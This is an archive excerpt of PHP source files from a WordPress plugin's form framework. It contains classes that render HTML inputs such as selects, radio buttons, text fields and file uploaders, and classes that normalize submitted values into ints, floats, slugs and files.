protected function dataAttribute($attribute, $value = '')
{
if ($value === null) {
return '';
}
$value = esc_attr($value);
return " data-{$attribute}=\"{$value}\"";
}
/**
* Returns string like: ' attribute' if $add is true
*
* @param string $attribute
* @param boolean $add
* @return string
*/
protected function singleAttribute($attribute, $add = true)
{
return $add ? " {$attribute}" : '';
}
}
Twine/forms/strategies/display/ButtonDisplay.php 0000644 00000002445 14666776752 0016150 0 ustar 00 <?php
namespace Twine\forms\strategies\display;
use Twine\forms\inputs\ButtonInput;
use Twine\forms\strategies\normalization\NormalizationBase;
use Twine\forms\strategies\normalization\NormalizationStrategyBase;
/**
* Class ButtonDisplay
* Description
*
* @package Event Espresso
* @author Mike Nelson
*/
class ButtonDisplay extends DisplayBase
{
/**
* @return string of html to display the input
*/
public function display()
{
$default_value = $this->input->getDefault();
if ($this->input->getNormalizationStrategy() instanceof NormalizationBase) {
$default_value = $this->input->getNormalizationStrategy()->unnormalize($default_value);
}
$html = $this->openingTag('button');
$html .= $this->attributesString(
array_merge(
$this->standardAttributesArray(),
array(
'value' => $default_value,
)
)
);
if ($this->input instanceof ButtonInput) {
$button_content = $this->input->buttonContent();
} else {
$button_content = $this->input->getDefault();
}
$html .= '>';
$html .= $button_content;
$html .= $this->closingTag();
return $html;
}
}
Twine/forms/strategies/display/DatepickerDisplay.php 0000644 00000000555 14666776752 0016750 0 ustar 00 <?php
namespace Twine\forms\strategies\display;
/**
* Class DatepickerDisplay
* @package Twine\forms\strategies\display
*/
class DatepickerDisplay extends TextInputDisplay
{
/**
* DatepickerDisplay constructor.
* @param string $type
*/
public function __construct($type = 'text')
{
parent::__construct('datepicker');
}
}
Twine/forms/strategies/display/AdminFileUploaderDisplay.php 0000644 00000006412 14666776752 0020217 0 ustar 00 <?php
namespace Twine\forms\strategies\display;
use Twine\helpers\Html;
use WP_Error;
/**
* Class AdminFileUploaderDisplay
*
* @package Event Espresso
* @subpackage core
* @author Mike Nelson
* @since 4.6
*
*/
class AdminFileUploaderDisplay extends DisplayBase
{
/**
* Enqueues the JS and CSS needed to display this input
*/
public function enqueueJs()
{
wp_enqueue_media();
wp_enqueue_script('media-upload');
wp_enqueue_script(
'pmb-media-uploader',
TWINE_SCRIPTS_URL . 'media-uploader.js',
[],
'1.0.0'
);
wp_enqueue_style(
'pmb-media-uploader',
TWINE_STYLES_URL . 'media-uploader.css',
[],
'1.0.0'
);
wp_localize_script(
'pmb-media-uploader',
'twine_media_uploader',
[
'translations' => [
'choose' => __('Choose File', 'print-my-blog')
]
]
);
parent::enqueueJs();
}
/**
*
* @return string of html to display the field
*/
public function display()
{
// image uploader
$html_generator = Html::instance();
$html = $html_generator->link(
'#',
__('Choose File', 'print-my-blog'),
__('Click to select an existing file, or upload a new one.', 'print-my-blog'),
'',
'twine_media_upload button'
);
// the actual input
$html .= '<input type="text" size="34" ';
$html .= 'name="' . $this->input->htmlName() . '" ';
// Want loose comparison
// phpcs:ignore WordPress.PHP.StrictComparisons.LooseComparison
$html .= $this->input->htmlClass() != ''
? 'class="large-text twine_media_url ' . $this->input->htmlClass() . '" '
: 'class="large-text twine_media_url" ';
$html .= 'value="' . $this->input->rawValueInForm() . '" ';
$html .= 'placeholder="https://..." ';
$html .= $this->input->otherHtmlAttributesString() . '>';
// only attempt to show the image if it at least exists
if ($this->srcExists($this->input->rawValue())) {
$image = $html_generator->br()
. $html_generator->br()
. $html_generator->div(
$html_generator->img($this->input->rawValue(), '', '', 'twine_media_image'),
null,
'twine-uploaded-image-wrap'
);
} else {
$image = '';
}
// html string
return $html_generator->div(
$html
. $html_generator->nbsp()
. $image,
'',
'twine_media_uploader_area'
);
}
/**
* Asserts an image actually exists as quickly as possible by sending a HEAD
* request
* @param string $src
* @return boolean
*/
protected function srcExists($src)
{
$results = wp_remote_head($src);
if (is_array($results) && ! $results instanceof WP_Error) {
return strpos($results['headers']['content-type'], 'image') !== false;
} else {
return false;
}
}
}
Twine/forms/strategies/display/SelectMultipleDisplay.php 0000644 00000005023 14666776752 0017623 0 ustar 00 <?php
namespace Twine\forms\strategies\display;
use Exception;
use Twine\forms\inputs\FormInputWithOptionsBase;
use Twine\helpers\Array2;
use Twine\helpers\Html;
/**
* SelectMultipleDisplay
*
* @package Event Espresso
* @subpackage
* @author Mike Nelson
*
* ------------------------------------------------------------------------
*/
class SelectMultipleDisplay extends SelectDisplay
{
/**
*
* @throws Exception
* @return string of html to display the field
*/
public function display()
{
if (! $this->input instanceof FormInputWithOptionsBase) {
throw new Exception(
__(
'Cannot use Select Multiple Display Strategy with an input that doesn\'t have options',
'print-my-blog'
)
);
}
$html_generator = Html::instance();
$html = $html_generator->nl(0, 'select');
$html .= '<select multiple';
$html .= ' id="' . $this->input->htmlId() . '"';
$html .= ' name="' . $this->input->htmlName() . '[]"';
$class = $this->input->required() ?
$this->input->requiredCssClass() . ' ' . $this->input->htmlClass() :
$this->input->htmlClass();
$html .= ' class="' . $class . '"';
// add html5 required
$html .= $this->input->required() ? ' required' : '';
$html .= ' style="' . $this->input->htmlStyle() . '"';
$html .= ' ' . $this->input->otherHtmlAttributesString();
$html .= '>';
$html_generator->indent(1, 'select');
if (Array2::isMultiDimensionalArray($this->input->options())) {
throw new Exception(
__('Select multiple display strategy does not allow for nested arrays of options.', 'print-my-blog')
);
} else {
$html .= $this->displayOptions($this->input->options());
}
$html .= $html_generator->nl(-1, 'select') . '</select>';
return $html;
}
/**
* Checks if that $value is one of the selected ones
* @param string|int $value unnormalized value option (string)
* @return boolean
*/
protected function checkIfOptionSelected($value)
{
$selected_options = $this->input->rawValue();
if (empty($selected_options)) {
return false;
}
// Want loose comparison.
// phpcs:ignore WordPress.PHP.StrictInArray.MissingTrueStrict
return in_array($value, (array)$selected_options) ? true : false;
}
}
Twine/forms/strategies/display/SelectDisplay.php 0000644 00000007057 14666776752 0016120 0 ustar 00 <?php
namespace Twine\forms\strategies\display;
use Exception;
use Twine\forms\helpers\InputOption;
use Twine\forms\inputs\FormInputWithOptionsBase;
use Twine\helpers\Array2;
use Twine\helpers\Html;
/**
*
* Class SelectDisplay
*
* Displays either simple arrays as selected, or if a 2d array is provided, separates them into optgroups
*
* @package Event Espresso
* @subpackage core
* @author Mike Nelson
*
*
*/
class SelectDisplay extends DisplayBase
{
/**
*
* @throws Exception
* @return string of html to display the field
*/
public function display()
{
if (! $this->input instanceof FormInputWithOptionsBase) {
throw new Exception(
__('Cannot use Select Display Strategy with an input that doesn\'t have options', 'print-my-blog')
);
}
$html_generator = Html::instance();
$html = $html_generator->nl(0, 'select');
$html .= '<select';
$html .= $this->attributesString(
$this->standardAttributesArray()
);
$html .= '>';
if (Array2::isMultiDimensionalArray($this->input->options())) {
$html_generator->indent(1, 'optgroup');
foreach ($this->input->options() as $opt_group_label => $opt_group) {
if (! empty($opt_group_label)) {
$html .= $html_generator->nl(0, 'optgroup')
. '<optgroup label="'
. esc_attr($opt_group_label)
. '">';
}
$html_generator->indent(1, 'option');
$html .= $this->displayOptions($opt_group);
$html_generator->indent(-1, 'option');
if (! empty($opt_group_label)) {
$html .= $html_generator->nl(0, 'optgroup') . '</optgroup>';
}
}
$html_generator->indent(-1, 'optgroup');
} else {
$html .= $this->displayOptions($this->input->options());
}
$html .= $html_generator->nl(0, 'select') . '</select>';
return $html;
}
/**
* Displays a flat list of options as option tags
* @param InputOption[] $options
* @return string
*/
protected function displayOptions($options)
{
$html = '';
$html_generator = Html::instance();
$html_generator->indent(1, 'option');
foreach ($options as $value => $option) {
// even if this input uses TextNormalization if one of the array keys is a numeric string, like "123",
// PHP will have converted it to a PHP integer (eg 123). So we need to make sure it's a string
$unnormalized_value = $this->input->getNormalizationStrategy()->unnormalizeOne($value);
$selected = $this->checkIfOptionSelected($unnormalized_value) ? ' selected="selected"' : '';
$html .= $html_generator->nl(0, 'option')
. '<option value="'
. esc_attr($unnormalized_value)
. '"'
. $selected
. '>'
. $option->getDisplayText()
. '</option>';
}
$html_generator->indent(-1, 'option');
return $html;
}
/**
* Checks if that value is the one selected
*
* @param string|int $option_value unnormalized value option (string). How it will appear in the HTML.
* @return string
*/
protected function checkIfOptionSelected($option_value)
{
return $option_value === $this->input->rawValue();
}
}
Twine/forms/strategies/display/NumberInputDisplay.php 0000644 00000007040 14666776752 0017141 0 ustar 00 <?php
namespace Twine\forms\strategies\display;
use EventEspresso\core\services\container\exceptions\InstantiationException;
use InvalidArgumentException;
/**
* Class NumberInputDisplay
* Generates an HTML5 number input
*
* @package Event Espresso
* @author Brent Christensen
* @since 4.9.34
*/
class NumberInputDisplay extends DisplayBase
{
/**
* Minimum value for number field
*
* @var int|null $min
*/
protected $min;
/**
* Maximum value for number field
*
* @var int|null $max
*/
protected $max;
/**
* This is used to set the "step" attribute for the html5 number input.
* Controls the increments on the input when incrementing or decrementing the value.
* Note: Although the step attribute allows for the string "any" to be used, Firefox and Chrome will interpret that
* to increment by 1. So although "any" is accepted as a value, it is converted to 1.
* @var float
*/
protected $step;
/**
* NumberInputDisplay constructor.
* Null is the default value for the incoming arguments because 0 is a valid value. So we use null
* to indicate NOT setting this attribute.
*
* @param int|null $min
* @param int|null $max
* @param int|null $step
* @throws InvalidArgumentException
*/
public function __construct($min = null, $max = null, $step = null)
{
$this->min = is_numeric($min) || $min === null
? $min
: $this->throwValidationException('min', $min);
$this->max = is_numeric($max) || $max === null
? $max
: $this->throwValidationException('max', $max);
$step = $step === 'any' ? 1 : $step;
$this->step = is_numeric($step) || $step === null
? $step
: $this->throwValidationException('step', $step);
parent::__construct();
}
/**
* @param string $argument_label
* @param string $argument_value
* @throws InvalidArgumentException
*/
private function throwValidationException($argument_label, $argument_value)
{
throw new InvalidArgumentException(
sprintf(
// translators: 1: label text, 2: classname, 3: value text
esc_html__(
'The %1$s parameter value for %2$s must be numeric or null, %3$s was passed into the constructor.',
'print-my-blog'
),
$argument_label,
__CLASS__,
$argument_value
)
);
}
/**
* @return string of html to display the field
*/
public function display()
{
$input = $this->openingTag('input');
$input .= $this->attributesString(
array_merge(
$this->standardAttributesArray(),
$this->getNumberInputAttributes()
)
);
$input .= $this->closeTag();
return $input;
}
/**
* Return the attributes specific to this display strategy
* @return array
*/
private function getNumberInputAttributes()
{
$attributes = array(
'type' => 'number',
'value' => $this->input->rawValueInForm(),
);
if ($this->min !== null) {
$attributes['min'] = $this->min;
}
if ($this->max !== null) {
$attributes['max'] = $this->max;
}
if ($this->step !== null) {
$attributes['step'] = $this->step;
}
return $attributes;
}
}
Twine/forms/strategies/display/HiddenDisplay.php 0000644 00000001366 14666776752 0016071 0 ustar 00 <?php
namespace Twine\forms\strategies\display;
/**
* HiddenDisplay
*
* @package Event Espresso
* @subpackage
* @author Mike Nelson
*
* ------------------------------------------------------------------------
*/
class HiddenDisplay extends DisplayBase
{
/**
*
* @return string of html to display the HIDDEN field
*/
public function display()
{
$input = $this->input;
return "<input
type='hidden'
id='{$input->htmlId()}'
name='{$input->htmlName()}'
class='{$input->htmlClass()}'
style='{$input->htmlStyle()}'
value='{$input->rawValueInForm()}'
{$input->otherHtmlAttributesString()}/>";
}
}
Twine/forms/strategies/display/RadioButtonDisplay.php 0000644 00000005666 14666776752 0017137 0 ustar 00 <?php
namespace Twine\forms\strategies\display;
use Twine\helpers\Html;
/**
* Class RadioButtonDisplay
* displays a set of radio buttons
*
* @package Event Espresso
* @subpackage core
* @author Mike Nelson
* @since 4.6
*/
class RadioButtonDisplay extends CompoundInputDisplay
{
/**
*
* @return string of html to display the field
*/
public function display()
{
$input = $this->getInput();
$html = '';
$html_generator = Html::instance();
foreach ($input->options() as $value => $option) {
$value = $input->getNormalizationStrategy()->unnormalize($value);
$html_id = $this->getSubInputId($value);
$html .= $html_generator->nl(0, 'radio');
$html .= $this->openingTag('label');
$html .= $this->attributesString(
array(
'for' => $html_id,
'id' => $html_id . '-lbl',
'class' => apply_filters(
'FH_RadioButtonDisplay__display__option_label_class',
'twine-radio-label',
$this,
$input,
$value
),
'aria-label' => sprintf(
// translators: 1: label text, 2: display text
__('%1$s: %2$s', 'print-my-blog'),
wp_strip_all_tags($input->htmlLabelText()),
wp_strip_all_tags($option->getDisplayText())
),
)
);
$html .= '>';
$html .= $html_generator->nl(1, 'radio');
$html .= $this->openingTag('input');
$attributes = array(
'id' => $html_id,
'name' => $input->htmlName(),
'class' => $input->htmlClass(),
'style' => $input->htmlStyle(),
'type' => 'radio',
'value' => $value,
0 => $input->otherHtmlAttributesString(),
'data-question_label' => $input->htmlLabelId(),
);
if ($input->rawValue() === $value) {
$attributes['checked'] = 'checked';
}
$html .= $this->attributesString($attributes);
$html .= '> ';
$text = $option->getDisplayText();
$help_text = $option->getHelpText();
$html .= $text;
$html .= $html_generator->nl(-1, 'radio') . '</label>';
if ($help_text) {
$html .= $html_generator->span(
$help_text,
'',
'twine-radio-help description'
);
}
}
$html .= $html_generator->div('', '', 'clear-float');
$html .= $html_generator->divx();
return apply_filters('FH_RadioButtonDisplay__display', $html, $this, $this->input);
}
}
Twine/forms/strategies/display/TextInputDisplay.php 0000644 00000003704 14666776752 0016640 0 ustar 00 <?php
namespace Twine\forms\strategies\display;
/**
* Class TextInputDisplay
* Display strategy that handles how to display form inputs that represent basic
* "text" type inputs, including "password", "email" and any other inputs that
* are essentially the same as "text", except they just have a different "type" attribute
*
* @package Event Espresso
* @subpackage core
* @author Mike Nelson
* @since 4.6
*
*/
class TextInputDisplay extends DisplayBase
{
/**
* The html "type" attribute value. default is "text"
* @var string
*/
protected $type;
/**
* @param string $type
*/
public function __construct($type = 'text')
{
$this->type = $type;
parent::__construct();
}
/**
* Gets the html "type" attribute's value
* @return string
*/
public function getType()
{
if (
$this->type === 'email'
&& ! apply_filters('FH_TextInputDisplay__use_html5_email', false)
) {
return 'text';
}
return $this->type;
}
/**
*
* @return string of html to display the field
*/
public function display()
{
$input = '<input type="' . $this->getType() . '"';
$input .= ' name="' . $this->input->htmlName() . '"';
$input .= ' id="' . $this->input->htmlId() . '"';
$class = $this->input->required() ?
$this->input->requiredCssClass() . ' ' . $this->input->htmlClass() :
$this->input->htmlClass();
$input .= ' class="twine-text-input ' . $class . '"';
// add html5 required
$input .= $this->input->required() ? ' required' : '';
$input .= ' value="' . $this->input->rawValueInForm() . '"';
$input .= ' style="' . $this->input->htmlStyle() . '"';
$input .= $this->input->otherHtmlAttributesString();
$input .= '/>';
return $input;
}
}
Twine/forms/strategies/display/Select2DisplayStrategy.php 0000644 00000006346 14666776752 0017725 0 ustar 00 <?php
namespace Twine\forms\strategies\display;
/**
*
* Class SelectDisplay
*
* Extends the SelectDisplay to also enqueue the select2.js and js to
* convert this input into a select2
*
* @package Event Espresso
* @subpackage core
* @author Mike Nelson
*
*
*/
class Select2Display extends SelectDisplay
{
/**
* Arguments that will be passed into the select2 javascript constructor
* @var array
*/
protected $select2_js_args = array();
/**
*
* @param array $select2_js_args pass in the EXACT array of JS arguments you want
* to pass into the select2 js/html input. See https://select2.github.io
*/
public function __construct($select2_js_args = array())
{
$this->select2_js_args = $select2_js_args;
parent::__construct();
}
/**
* Enqueues the select2 initializing js (which depends on the select2 js) and
* the select2 css
*/
public function enqueueJs()
{
// need to first deregister the select2 script in case some other plugin **cough cough Toolset Types cough**
// is carelessly registering an older version of Select2 on admin pages that don't even belong to them
wp_deregister_script('select2');
wp_deregister_style('select2');
wp_register_script(
'select2',
TWINE_SCRIPTS_URL . 'select2.min.js',
array(),
'4.0.2',
true
);
wp_register_style(
'select2',
TWINE_STYLES_URL . 'select2.min.css',
array(),
'4.0.2',
'all'
);
wp_enqueue_script(
'form_section_select2_init',
TWINE_SCRIPTS_URL . 'form_section_select2_init.js',
array( 'select2' ),
'1.0.0',
true
);
wp_enqueue_style(
'select2',
TWINE_STYLES_URL . 'select2.min.css',
array(),
'4.0.2',
'all'
);
}
/**
* Gets the javascript args which will be localized and passed into the select2 js/html input
* @return array
*/
public function getJsArgs()
{
return $this->select2_js_args;
}
/**
* Sets the exact js args which will be passed into the select2 js/html input
* @param array $js_args
*/
public function setJsArgs($js_args)
{
$this->select2_js_args = $js_args;
}
/**
* Adds select2 data for localization
* @param array $other_js_data
* @return array
*/
public function getOtherJsData($other_js_data = array())
{
$other_js_data = parent::getOtherJsData($other_js_data);
if (! isset($other_js_data['select2s'])) {
$other_js_data['select2s'] = array();
}
$other_js_data['select2s'][ $this->input->htmlId() ] = $this->getJsArgs();
return $other_js_data;
}
/**
* Overrides standard attributes array to add the CSS class "twine-select2"
* @return array
*/
protected function standardAttributesArray()
{
$standard_attributes = parent::standardAttributesArray();
$standard_attributes['class'] .= ' twine-select2';
return $standard_attributes;
}
}
Twine/forms/strategies/display/SingleCheckboxDisplay.php 0000644 00000001352 14666776752 0017561 0 ustar 00 <?php
namespace Twine\forms\strategies\display;
/**
* Class SingleCheckboxDisplay
* @package Twine\forms\strategies\display
*/
class SingleCheckboxDisplay extends DisplayBase
{
/**
* @return string
*/
public function display()
{
$html = $this->openingTag('input');
$other_attributes = [
'type' => 'checkbox',
'value' => 1,
];
if ($this->input->normalizedValue()) {
$other_attributes[] = 'checked';
}
$html .= $this->attributesString(
array_merge(
$this->standardAttributesArray(),
$other_attributes
)
);
$html .= $this->closeTag();
return $html;
}
}
Twine/forms/strategies/display/TextAreaDisplay.php 0000644 00000003147 14666776752 0016412 0 ustar 00 <?php
namespace Twine\forms\strategies\display;
use Twine\forms\inputs\TextAreaInput;
use Twine\forms\strategies\validation\FullHtmlValidation;
/**
* Class TextAreaDisplay
* @package Twine\forms\strategies\display
*/
class TextAreaDisplay extends DisplayBase
{
/**
*
* @return string of html to display the field
*/
public function display()
{
$input = $this->input;
$raw_value = maybe_serialize($input->rawValue());
if ($input instanceof TextAreaInput) {
$rows = $input->getRows();
$cols = $input->getCols();
} else {
$rows = 4;
$cols = 20;
}
$html = '<textarea';
$html .= ' id="' . $input->htmlId() . '"';
$html .= ' name="' . $input->htmlName() . '"';
$html .= ' class="' . $input->htmlClass() . '"';
$html .= ' style="' . $input->htmlStyle() . '"';
$html .= $input->otherHtmlAttributesString();
$html .= ' rows= "' . $rows . '" cols="' . $cols . '">';
$html .= esc_textarea($raw_value);
$html .= '</textarea>';
foreach ($this->input->getValidationStrategies() as $validation_strategy) {
if (
$validation_strategy instanceof FullHtmlValidation
) {
$html .= '<p class="twine-question-desc">' . sprintf(
// translators: 1: list of alloed htm;l tags
__('(allowed tags: %1$s)', 'print-my-blog'),
$validation_strategy->getListOfAllowedTags()
) . '</p>';
}
}
return $html;
}
}
Twine/forms/strategies/display/WysiwygDisplay.php 0000644 00000001265 14666776752 0016356 0 ustar 00 <?php
namespace Twine\forms\strategies\display;
use Twine\forms\inputs\TextAreaInput;
use Twine\forms\strategies\validation\FullHtmlValidation;
/**
* Class TextAreaDisplay
* @package Twine\forms\strategies\display
*/
class WysiwygDisplay extends TextAreaDisplay
{
/**
*
* @return string of html to display the field
*/
public function display()
{
ob_start();
wp_editor(
$this->input->rawValue(),
$this->input->htmlID(),
[
'editor_class' => $this->input->htmlClass(),
'textarea_name' => $this->input->htmlName(),
]
);
return ob_get_clean();
}
}
Twine/forms/strategies/display/SubmitInputDisplay.php 0000644 00000002275 14666776752 0017161 0 ustar 00 <?php
namespace Twine\forms\strategies\display;
use Twine\forms\strategies\normalization\NormalizationBase;
/**
* Class SubmitInputDisplay
* Description
*
* @package Event Espresso
* @author Mike Nelson
*/
class SubmitInputDisplay extends DisplayBase
{
/**
* @return string of html to display the input
*/
public function display()
{
$default_value = $this->input->getDefault();
if ($this->input->getNormalizationStrategy() instanceof NormalizationBase) {
$default_value = $this->input->getNormalizationStrategy()->unnormalize($default_value);
}
$html = $this->openingTag('input');
$html .= $this->attributesString(
array_merge(
$this->standardAttributesArray(),
array(
'type' => 'submit',
'value' => $default_value,
// overwrite the standard id with the backwards compatible one
'id' => $this->input->htmlId() . '-submit',
'class' => $this->input->htmlClass(),
)
)
);
$html .= $this->closeTag();
return $html;
}
}
Twine/forms/strategies/normalization/FileNormalization.php 0000644 00000003423 14666776752 0020213 0 ustar 00 <?php
namespace Twine\forms\strategies\normalization;
use Twine\entities\FileSubmission;
use Twine\forms\helpers\ValidationError;
/**
* FileNormalization
* Takes the input from $_FILES and creates an FileSubmissionInterface object.
*
* @package Event Espresso
* @subpackage
* @author Mike Nelson
*/
class FileNormalization extends NormalizationBase
{
/**
* Keep in mind $value_to_normalize should be a FileSubmissionInterface or null, so this shouldn't really do
* much (other than NOT convert it to a string or something).
* @param string $value_to_normalize
* @return FileSubmission
* @throws ValidationError
*/
public function normalize($value_to_normalize)
{
if ($value_to_normalize instanceof FileSubmission || is_null($value_to_normalize)) {
return $value_to_normalize;
} else {
throw new ValidationError(
esc_html__('The file input has an invalid format.', 'print-my-blog')
);
}
}
/**
* This may be called prematurely on submitted data, so we actually don't want to convert it into a string because
* we'll lose all the FileSubmissionInterface data. So prefer to leave it alone. FileSubmissionInterface
* can be cast to a string just fine so it's good as-is.
*
* @param string $normalized_value
* @return string
*/
public function unnormalize($normalized_value)
{
if ($normalized_value instanceof FileSubmission || is_null($normalized_value)) {
// Leave it as the object, it can be treated like a string because it
// overrides __toString()
return $normalized_value;
} else {
return (string) $normalized_value;
}
}
}
Twine/forms/strategies/normalization/SlugNormalization.php 0000644 00000001413 14666776752 0020243 0 ustar 00 <?php
namespace Twine\forms\strategies\normalization;
/**
* SlugNormalization
* Simply converts the string into a slug. DOes not add any errors if its bad.
*
* @package Event Espresso
* @subpackage
* @author Mike Nelson
*/
class SlugNormalization extends NormalizationBase
{
/**
* @param string $value_to_normalize
* @return string
*/
public function normalize($value_to_normalize)
{
return sanitize_title($value_to_normalize);
}
/**
* It's hard to unnormalize this- let's just take a guess
*
* @param string $normalized_value
* @return string
*/
public function unnormalize($normalized_value)
{
return str_replace('-', ' ', $normalized_value);
}
}
Twine/forms/strategies/normalization/IntNormalization.php 0000644 00000006731 14666776752 0020073 0 ustar 00 <?php
namespace Twine\forms\strategies\normalization;
use Twine\forms\helpers\ValidationError;
use Twine\forms\strategies\validation\IntValidation;
/**
* IntNormalization
* Casts the string to an int. If the user inputs anything but numbers, we growl at them
*
* @package Event Espresso
* @subpackage
* @author Mike Nelson
*/
class IntNormalization extends NormalizationBase
{
/**
* Regex pattern that matches for the following:
* * optional negative sign
* * one or more digits
*/
const REGEX = '/^(-?)(\d+)(?:\.0+)?$/';
/**
* @param string $value_to_normalize
* @return int|mixed|string
* @throws ValidationError
*/
public function normalize($value_to_normalize)
{
if ($value_to_normalize === null) {
return null;
}
if (is_int($value_to_normalize) || is_float($value_to_normalize)) {
return (int) $value_to_normalize;
}
if (! is_string($value_to_normalize)) {
throw new ValidationError(
sprintf(
// translators: 1: value to normalize, 2: type of submitted value
__('The value "%1$s" must be a string submitted for normalization, it was %2$s', 'print-my-blog'),
// phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_print_r
print_r($value_to_normalize, true),
gettype($value_to_normalize)
)
);
}
$value_to_normalize = filter_var(
$value_to_normalize,
FILTER_SANITIZE_NUMBER_FLOAT,
FILTER_FLAG_ALLOW_FRACTION
);
if ($value_to_normalize === '') {
return null;
}
$matches = array();
if (preg_match(self::REGEX, $value_to_normalize, $matches)) {
if (count($matches) === 3) {
// if first match is the negative sign,
// then the number needs to be multiplied by -1 to remain negative
return $matches[1] === '-'
? (int) $matches[2] * -1
: (int) $matches[2];
}
}
// find if this input has a int validation strategy
// in which case, use its message
$validation_error_message = null;
foreach ($this->input->getValidationStrategies() as $validation_strategy) {
if ($validation_strategy instanceof IntValidation) {
$validation_error_message = $validation_strategy->getValidationErrorMessage();
}
}
// this really shouldn't ever happen because fields with a int normalization strategy
// should also have a int validation strategy, but in case it doesn't use the default
if (! $validation_error_message) {
$default_validation_strategy = new IntValidation();
$validation_error_message = $default_validation_strategy->getValidationErrorMessage();
}
throw new ValidationError($validation_error_message, 'numeric_only');
}
/**
* Converts the int into a string for use in teh html form
*
* @param int $normalized_value
* @return string
*/
public function unnormalize($normalized_value)
{
if ($normalized_value === null || $normalized_value === '') {
return '';
}
if (empty($normalized_value)) {
return '0';
}
return "$normalized_value";
}
}
Twine/forms/strategies/normalization/NullNormalization.php 0000644 00000001333 14666776752 0020244 0 ustar 00 <?php
namespace Twine\forms\strategies\normalization;
/**
* NullNormalization
* Replaces input with null. This is for inputs whose value should be totally ignored server-side
*
* @package Event Espresso
* @subpackage
* @author Mike Nelson
*/
class NullNormalization extends NormalizationBase
{
/**
* @param string $value_to_normalize
* @return null
*/
public function normalize($value_to_normalize)
{
return null;
}
/**
* In the form input we need some string, so use a blank one.
*
* @param string $normalized_value
* @return string
*/
public function unnormalize($normalized_value)
{
return '';
}
}
Twine/forms/strategies/normalization/NormalizationBase.php 0000644 00000005301 14666776752 0020203 0 ustar 00 <?php
namespace Twine\forms\strategies\normalization;
use Twine\forms\strategies\FormInputStrategyBase;
/**
* NormalizationBase
*
* @package Event Espresso
* @subpackage
* @author Mike Nelson
*/
abstract class NormalizationBase extends FormInputStrategyBase
{
/**
* Takes the sanitized value for the input and casts it into the correct PHP type.
* Eg, turns it into an int, float, string, boolean, datetime, etc. The validation
* strategy should be able to depend on the normalized value being of the correct type.
* If the normalized value passes validation, the normalized value is what other code
* will operate on. If the sanitized value cannot be normalized, this method should either
* add a validation error onto the input, or wrangle the input into a format that can be normalized
* (eg, for a date input, if the user enters "2014/100/100", you can either add an error stating
* "hey! 2014/100/100 is not a valid date!", or simply convert it into a valid date like "2014/12/31".
* For this case, I'd prefer the former. But there may be cases where you'd just rather correct it for them)
*
* @param string $value_to_normalize it should always be a string. If the input receives an array, then the
* validation strategy should be called on array elements, not on the entire array
* @return mixed the normalized value
*/
abstract public function normalize($value_to_normalize);
/**
* Identical to normalize, except normalize_one() CANNOT be passed an array and
* never returns an array. Useful if the normalization strategy converts between arrays
*
* @param string $individual_item_to_normalize
* @return mixed
*/
public function normalizeOne($individual_item_to_normalize)
{
return $this->normalize($individual_item_to_normalize);
}
/**
* Takes the normalized value (for an Yes_No_Input this could be TRUE or FALSE), and converts it into
* the value you would use in the html form (for a Yes_No_Input this could be '1' or '0').
*
* @param string $normalized_value
* @return array|string the 'raw' value as used in the form, usually a string or array of strings.
*/
abstract public function unnormalize($normalized_value);
/**
* Normally the same as unnormalize, except it CANNOT be passed an array and
* ALWAYS returns a string
*
* @param mixed $individual_item_to_unnormalize NOT an array
* @return string
*/
public function unnormalizeOne($individual_item_to_unnormalize)
{
return $this->unnormalize($individual_item_to_unnormalize);
}
}
Twine/forms/strategies/normalization/AllCapsNormalization.php 0000644 00000001555 14666776752 0020657 0 ustar 00 <?php
namespace Twine\forms\strategies\normalization;
/**
* AllCapsNormalization
* Just makes sure the string is all upper case. If the user didn't provide an all
* upper case input, we just correct it for them
*
* @package Event Espresso
* @subpackage
* @author Mike Nelson
*/
class AllCapsNormalization extends NormalizationBase
{
/**
* @param string $value_to_normalize
* @return string
*/
public function normalize($value_to_normalize)
{
return strtoupper($value_to_normalize);
}
/**
* It's kinda hard to unnormalize this- we can't determine which parts used to be lowercase
* so just return it as-is.
*
* @param string $normalized_value
* @return string
*/
public function unnormalize($normalized_value)
{
return $normalized_value;
}
}
Twine/forms/strategies/normalization/FloatNormalization.php 0000644 00000006465 14666776752 0020412 0 ustar 00 <?php
namespace Twine\forms\strategies\normalization;
use Twine\forms\helpers\ValidationError;
use Twine\forms\strategies\validation\FloatValidation;
/**
* FloatNormalization
* Casts to float, and allows spaces, commas, and periods in the inputted string
*
* @package Event Espresso
* @subpackage
* @author Mike Nelson
*/
class FloatNormalization extends NormalizationBase
{
/*
* Regex pattern that matches for the following:
* * optional negative sign
* * one or more digits or decimals
*/
const REGEX = '/^(-?)([\d.]+)$/';
/**
* @param string $value_to_normalize
* @return float
* @throws ValidationError
*/
public function normalize($value_to_normalize)
{
if ($value_to_normalize === null) {
return null;
}
if (is_float($value_to_normalize) || is_int($value_to_normalize)) {
return (float) $value_to_normalize;
}
if (! is_string($value_to_normalize)) {
throw new ValidationError(
sprintf(
// translators: 1 submitted value, 2: expected type
__('The value "%1$s" must be a string submitted for normalization, it was %2$s', 'print-my-blog'),
// phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_print_r
print_r($value_to_normalize, true),
gettype($value_to_normalize)
)
);
}
$normalized_value = filter_var(
$value_to_normalize,
FILTER_SANITIZE_NUMBER_FLOAT,
FILTER_FLAG_ALLOW_FRACTION
);
if ($normalized_value === '') {
return null;
}
if (preg_match(self::REGEX, $normalized_value, $matches)) {
if (count($matches) === 3) {
// if first match is the negative sign,
// then the number needs to be multiplied by -1 to remain negative
return $matches[1] === '-'
? (float) $matches[2] * -1
: (float) $matches[2];
}
}
// find if this input has a float validation strategy
// in which case, use its message
$validation_error_message = null;
foreach ($this->input->getValidationStrategies() as $validation_strategy) {
if ($validation_strategy instanceof FloatValidation) {
$validation_error_message = $validation_strategy->getValidationErrorMessage();
}
}
// this really shouldn't ever happen because fields with a float normalization strategy
// should also have a float validation strategy, but in case it doesn't use the default
if (! $validation_error_message) {
$default_validation_strategy = new FloatValidation();
$validation_error_message = $default_validation_strategy->getValidationErrorMessage();
}
throw new ValidationError($validation_error_message, 'float_only');
}
/**
* Converts a float into a string
*
* @param float $normalized_value
* @return string
*/
public function unnormalize($normalized_value)
{
if (empty($normalized_value)) {
return '0.00';
}
return "{$normalized_value}";
}
}
Twine/forms/strategies/normalization/TextNormalization.php 0000644 00000002537 14666776752 0020265 0 ustar 00 <?php
namespace Twine\forms\strategies\normalization;
/**
* TextNormalization
* Really does nothing to the input. It came in a string and we leave it as-such
*
* @package Event Espresso
* @subpackage
* @author Mike Nelson
*/
class TextNormalization extends NormalizationBase
{
/**
